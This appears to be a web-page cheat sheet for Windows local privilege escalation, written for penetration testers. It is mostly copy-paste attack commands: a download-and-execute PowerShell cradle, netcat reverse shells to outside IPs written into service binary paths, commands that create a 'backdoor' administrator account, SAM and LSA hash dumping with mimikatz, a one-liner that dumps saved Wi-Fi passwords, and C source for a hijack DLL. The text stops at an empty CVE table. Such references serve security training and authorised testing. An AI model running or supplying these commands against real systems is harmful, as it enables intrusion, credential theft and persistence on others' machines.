Windows Privilege Escalation Techniques

Complete Windows privilege-escalation reference: enumeration, password looting (SAM, HiveNightmare, LAPS, unattend.xml, SessionGopher), service misconfigs (DLL hijack, unquoted paths, $PATH interception, weak DACLs), kernel CVEs, AlwaysInstallElevated, vulnerable drivers, PrintNightmare, LOLBAS, and the full Se* privilege-abuse matrix (Potato family).

0. Overview & methodology

Windows — Privilege Escalation
Windows — Privilege Escalation

This is a complete operator reference for local privilege escalation on Windows — from "low-priv user shell" to NT AUTHORITY\SYSTEM. It covers everything that a CRTP / OSCP / OSEP / CRTO / HTB Pro Lab candidate is expected to know, organised into the order you will normally execute it on a real engagement: enumerate → loot → abuse misconfig → exploit kernel/driver → impersonate.

Every command below is the literal command you will type at the target shell or on Kali. We deliberately keep the cheatsheet style of the source — commands first, prose only where it adds context. When you copy-paste, treat tags as values you need to substitute.

Suggested mental model

PhaseWhat you are actually doing
1. ReconWho am I? What groups? What OS? What network? Domain joined?
2. LootSaved creds, history files, config files, registry, LSASS where allowed
3. Service abuseWeak DACLs, unquoted paths, DLL hijack, AlwaysInstallElevated
4. Kernel / DriverSeImpersonate via Potato; vulnerable signed drivers (BYOVD); kernel CVE
5. ImpersonationToken privileges → full SYSTEM (SeImpersonate, SeBackup, SeRestore, SeDebug)
6. PersistenceOut of scope here — covered in the AD attack notes
☼ Pro tip — Always start with one of the automated tools (winPEAS / PowerUp / Seatbelt / PrivescCheck). Then read the output by hand — tooling misses subtle wins like password hints in Description fields, custom services, or weird ACLs on a single registry key.

1. Tools

You should know at least one tool from each category. winPEAS + PrivescCheck are the modern duo; PowerUp + Sherlock/Watson are still extremely common on older boxes.

PowerSploit’s PowerUp

powershell
shell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15/PowerUp.ps1'); Invoke-AllChecks<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Watson (modern C# version of Sherlock)

Watson is a .NET 2.0/4.0 compliant C# implementation that audits installed KBs and maps to known kernel/elevation CVEs. Sherlock (PowerShell) is deprecated but still useful on Win7 boxes.

powershell
shell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

BeRoot

Cross-platform (Windows / Linux / macOS) privilege escalation reconnaissance project. Useful when you want a tool-agnostic second opinion.

Windows-Exploit-Suggester

bash
shell
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

windows-privesc-check

Standalone executable to scan for simple Windows privilege-escalation vectors — ACL audits, service misconfigs, registry keys. Output is verbose but exhaustive.

WindowsExploits / WindowsEnum / Powerless / JAWS

powershell
shell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Seatbelt

GhostPack’s C# safety-checks tool — deep host survey covering OS, autoruns, certs, RDP, environment, network, AMSI, AppLocker. Output is parseable.

cmd
shell
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\Administrator -password=Pass123!<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

winPEAS

The de-facto modern enumeration tool. Coloured output, finds 90% of misconfigurations automatically. Available as winPEAS.exe, winPEAS.bat, winPEASany.exe.

cmd
shell
# .bat (no AV detections, ASCII output)
.\winPEAS.bat

# .exe (richer)
.\winPEASany.exe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

WES-NG (Windows Exploit Suggester — Next Generation)

bash
shell
# First obtain systeminfo
systeminfo
systeminfo > systeminfo.txt

# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PrivescCheck

powershell
shell
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,CSV,HTML"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
☼ Pro tip — Rule of thumb on a real engagement: drop winPEAS first for a fast read, then PrivescCheck for the deeper audit, then Seatbelt if you want extra coverage on certs/AMSI/AppLocker. The three tools overlap deliberately — if all three flag something, it’s reliable.

2. Windows version & configuration

OS name & build

cmd
shell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Installed patches / updates

cmd
shell
wmic qfe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Architecture (x86 vs x64)

cmd
shell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Environment variables

cmd / ps
shell
set
Get-ChildItem Env: | ft Key,Value<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Logical drives

cmd / ps
shell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
ⓘ Note — The systeminfo + wmic qfe output is what WES-NG and Watson consume to map missing patches to public CVEs. Save them early — they are also the easiest way to identify the Windows build for kernel-exploit selection.

3. User enumeration

Current user

cmd / ps
shell
echo %USERNAME% || whoami
$env:username<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

User privileges & group memberships

cmd
shell
whoami /priv
whoami /groups<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

All local users

cmd / ps
shell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Logon policy (brute-force feasibility)

cmd
shell
net accounts<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Details about a specific user

cmd
shell
net user administrator
net user admin
net user %USERNAME%<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Local groups & their members

cmd / ps
shell
net localgroup
Get-LocalGroup | ft Name
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Domain Controllers

cmd
shell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
☼ Pro tip — Look at whoami /priv before running anything else — a single SeImpersonatePrivilege = Enabled often makes the rest of the cheatsheet irrelevant (jump straight to Section 23 Potato).

4. Network enumeration

Interfaces & DNS

cmd / ps
shell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Routing table

cmd / ps
shell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

ARP table

cmd / ps
shell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Active TCP/UDP connections

cmd
shell
netstat -ano<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Network shares

cmd / ps
shell
net share
powershell Find-DomainShare -ComputerDomain domain.local<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

SNMP configuration

cmd / ps
shell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

5. Antivirus enumeration

Identify AV / EDR before staging payloads — Windows Defender will flat-out kill winPEAS.exe, mimikatz.exe, and most Potato binaries unless you obfuscate.

cmd
shell
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
☼ Pro tip — Other quick AV/EDR detectors: tasklist /svc | findstr -i defender, sc query windefend, look for processes from CrowdStrike, SentinelOne, cylance, cb* (Carbon Black), MsMpEng.exe.

6. Default writeable folders

These folders are writeable by regular users on a default Windows installation. They are your dropzone for payloads, the search target for DLL-hijack candidates, and useful staging for the $PATH interception attack (Section 12).

writable paths
shell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

7. EoP — Looting for passwords

Password looting is the highest ROI activity in any Windows engagement. Spend the bulk of your time here.

SAM & SYSTEM hives

The Security Account Manager (SAM) database stores local-account NTLM hashes; it’s mounted at HKLM\SAM and encrypted with a boot key derived from the SYSTEM hive. Both files live in %SYSTEMROOT%/system32/config/; older Windows also keeps backups in %SYSTEMROOT%/repair/.

cmd / kali
shell
# Locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Dump hashes (need administrative rights, or HiveNightmare below)
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

# Crack or PtH
john -format=NT /root/sam.txt
hashcat -m 1000 sam.txt rockyou.txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

HiveNightmare — CVE-2021-36934 (Windows 10/11 unprivileged hive read)

Microsoft mistakenly left SAM / SECURITY / SYSTEM readable to BUILTIN\Users via Volume Shadow Copies. Any low-privilege user can read the hives from a VSS snapshot, then dump hashes locally.

cmd
shell
# Confirm the vulnerability
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
            NT AUTHORITY\SYSTEM:(I)(F)
            BUILTIN\Users:(I)(RX)      token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract local SAM hashes via the VSS snapshot
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract LSA secrets
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

LAPS settings

Local Administrator Password Solution (LAPS) stores randomised local admin passwords in HKLM\Software\Policies\Microsoft Services\AdmPwd. If you can read the LAPS attributes you may already have the local admin password.

Registry valueMeaning
AdmPwdEnabledIs LAPS enabled at all?
AdminAccountNameAccount whose password LAPS manages
PasswordComplexityChar set in random password
PasswordLengthLength of random password
PwdExpirationProtectionEnabledPrevents manual password ageing

Search for file contents

cmd
shell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

SnaffPoint — SharePoint password hunting

powershell
shell
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://tinyurl.com/2akdbt52)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "yourtenant")

# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://tinyurl.com/2akdbt52" -t $token
## Method 2: using search string in command line  ( -l uses FQL search )
.\SnaffPoint.exe -u "https://tinyurl.com/2akdbt52" -t $token -l -q "filename:.config"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Snaffler — SMB share password hunting

cmd
shell
Snaffler.exe -d domain.local -s -v data<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Search by filename

cmd
shell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Search the registry for credentials

cmd
shell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"   # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"   # SNMP community strings
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"        # PuTTY proxy creds (cleartext)
reg query "HKCU\Software\ORL\WinVNC3\Password"              # VNC creds
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Passwords in unattend.xml

cmd
shell
# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# One-liner search
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
unattend.xml
shell
  
    U2VjcmVtV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=
    true
    Administrateur
  
  
    
      
        *SENSITIVE*DATA*DELETED*
        administrators;users
        Administrator
      
    
  
<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
bash
shell
# Decode base64 password
echo "U2VjcmVtV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
ⓘ Note — Metasploit one-shot: post/windows/gather/enum_unattend finds and decodes these files automatically.

IIS web.config secrets

cmd / ps
shell
Get-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Other interesting files

cmd
shell
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:\vnc.ini /s /b
dir c:\ultravnc.ini /s /b<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Wi-Fi saved passwords

cmd
shell
# Find AP SSIDs
netsh wlan show profile

# Get cleartext password for a single SSID
netsh wlan show profile  key=clear

# One-liner: dump every saved Wi-Fi password
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profile name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number")<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Sticky Notes (sqlite)

path
shell
C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Saved sessions (PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP) — SessionGopher

powershell
shell
Import-Module path\to\SessionGopher.ps1
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Key Manager (Stored User Names & Passwords)

⚠ Caution — GUI tool — will pop a window on the user’s desktop.
cmd
shell
rundll32 keymgr.dll,KRShowKeyMgr<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PowerShell history

cmd / ps
shell
# Disable it for your own session (OPSEC)
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# Read it on the target
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PowerShell transcript

path
shell
C:\Users\\Documents\PowerShell_transcript....txt
C:\Transcripts\\PowerShell_transcript....txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Passwords in NTFS Alternate Data Streams

powershell
shell
PS> Get-Item -path flag.txt -Stream *
PS> Get-Content -path flag.txt -Stream Flag<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
☼ Pro tip — After every action that lands you a new shell, immediately re-run findstr /si password ..., cmdkey /list, and check ConsoleHost_history.txt for the previous user. That single habit lands more privesc than any tool.

8. EoP — Processes & tasks

Running processes

cmd / ps
shell
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where { $_.Name -notlike "svchost*" } | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Processes running as SYSTEM

cmd
shell
tasklist /v /fi "username eq system"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PowerShell engine version

cmd
shell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Installed programs

powershell
shell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Services list

cmd
shell
net start
wmic service list brief
tasklist /SVC<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Scheduled tasks

cmd / ps
bash
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtask.txt; cat schtask.txt | grep "SYSTEM\|Task To Run"
Get-ScheduledTask | where { $_.TaskPath -notlike "\Microsoft*" } | ft TaskName,TaskPath,State<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Startup items

cmd
shell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
ⓘ Note — A scheduled task that runs as SYSTEM and references a writable script path is a direct privesc — modify the script and wait for the schedule.

9. EoP — Incorrect service permissions

A service running as Administrator/SYSTEM with incorrect file or registry permissions might allow EoP. The pattern is always: replace the binary (or DLL it loads, or service config), restart the service, get SYSTEM.

Common patterns to look for:

  • Orphaned installs — uninstalled software whose service still references a now-writable directory
  • DLL Hijacking — the service loads a DLL that doesn’t exist on disk, but a writable folder is searched first
  • Weak PATH directoriesBUILTIN\Users:(F/M/W) on a folder containing service binaries

Find missing DLLs & build a malicious one

kali
shell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

# compile a malicious DLL
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>
c
shell
// windows_dll.c
#include 
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

PATH directories with weak permissions

cmd
shell
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls %a

sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Metasploit one-shot: exploit/windows/local/service_permissions.

cacls / icacls to read DACLs

cmd
shell
icacls "C:\Program Files\Vuln Service\service.exe"

# We are looking for these on the file or its directory:
#   BUILTIN\Users:(F)   - Full access
#   BUILTIN\Users:(M)   - Modify access
#   BUILTIN\Users:(W)   - Write-only access<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Example — Windows 10 CVE-2019-1322 UsoSvc

Service runs as LocalSystem; if you sit in the NT SERVICE\ service-account context (e.g. nt service\mssqlserver) you can rewrite the binPath and restart the service.

cmd
shell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe -nv 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binPath="C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binPath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
    TYPE               : 20  WIN32_SHARE_PROCESS
    START_TYPE         : 2   AUTO_START (DELAYED)
    ERROR_CONTROL      : 1   NORMAL
    BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
    LOAD_ORDER_GROUP   :
    TAG                : 0
    DISPLAY_NAME       : Update Orchestrator Service
    DEPENDENCIES       : rpcss
    SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Example — Windows XP SP1 upnphost

cmd
shell
# NOTE: spaces are mandatory for this exploit to work
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

If start fails because of missing dependencies:

cmd
shell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend= ""<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

accesschk — the canonical DACL auditor

cmd
shell
# Sysinternals (Vista+) or accesschk-XP.exe from github.com/phackt
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  RW SSDPSRV
       SERVICE_ALL_ACCESS
  RW upnphost
       SERVICE_ALL_ACCESS

accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
       SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
       SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
       SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
       SERVICE_ALL_ACCESS

# Backdoor pattern
sc config  binpath= "net user backdoor backdoor123 /add"
sc config  binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc stop 
sc start 
sc config  binpath= "net localgroup Administrators backdoor /add"
sc stop 
sc start <i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

10. EoP — Windows Subsystem for Linux

WSL (Windows Subsystem for Linux) lets a non-admin Windows user run a Linux distro. With root inside WSL you can bind to any port without elevation — useful when Defender is blocking native Windows shells. The default user is set per-distro; --default-user root changes it without a password.

cmd
shell
wsl whoami
./ubuntu1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Binary bash.exe can also be found in: C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe.

Alternatively explore the WSL filesystem in C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\.

11. EoP — Unquoted service paths

The classic. If a service’s BINARY_PATH_NAME contains a space and is not quoted (e.g. C:\Program Files\Vuln Service\bin.exe), Windows will tokenise on whitespace and try in order: C:\Program.exe, then C:\Program Files\Vuln.exe, etc. Drop a binary at one of those positions in a folder you can write to and restart the service.

cmd / ps
shell
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*' } | select PathName,DisplayName,Name<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Tooling:

  • Metasploit: exploit/windows/local/trusted_service_path
  • PowerUp:
powershell
shell
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15/PowerUp.ps1'); Invoke-AllChecks"
...
[*] Checking for unquoted service paths...
ServiceName   : BBSvc
Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path 
...

# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Example

For C:\Program Files\something\legit.exe, Windows will try the following paths first:

tokenisation
shell
C:\Program.exe
C:\Program Files.exe<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

12. EoP — $PATH interception

Requirements:

  • %PATH% contains a writeable folder with low privileges.
  • The writeable folder is before the folder that contains the legitimate binary.
cmd / ps
shell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"<i class="bi bi-clipboard"></i><i class="bi bi-clipboard"></i>

Because C:\Program Files\nodejs is before C:\WINDOWS\system32 on the PATH variable, the next time the user runs cmd.exe, our evil version in the nodejs folder will run instead of the legitimate one in the system32 folder.

13. EoP — Named pipes

  1. Find named pipes: [System.IO.Directory]::GetFiles("\\.\pipe\")
  2. Check named-pipe DACL: pipesec.exe
  3. Reverse-engineer the consuming software
  4. Send data through the named pipe: program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe
ⓘ Note — Named-pipe impersonation is the foundation of the entire Potato family (RottenPotato/JuicyPotato/RoguePotato/PrintSpoofer/EFSPotato — see Section 23).

14. EoP — Kernel exploitation

Use kernel exploitation as a last resort — it’s noisy, can BSOD the box, and AV will frequently flag the precompiled binaries. Always run WES-NG or Watson against the target’s systeminfo output before attempting.

Canonical Windows kernel / privilege CVEs

Security Bulletin / CVEKBDescriptionOperating System
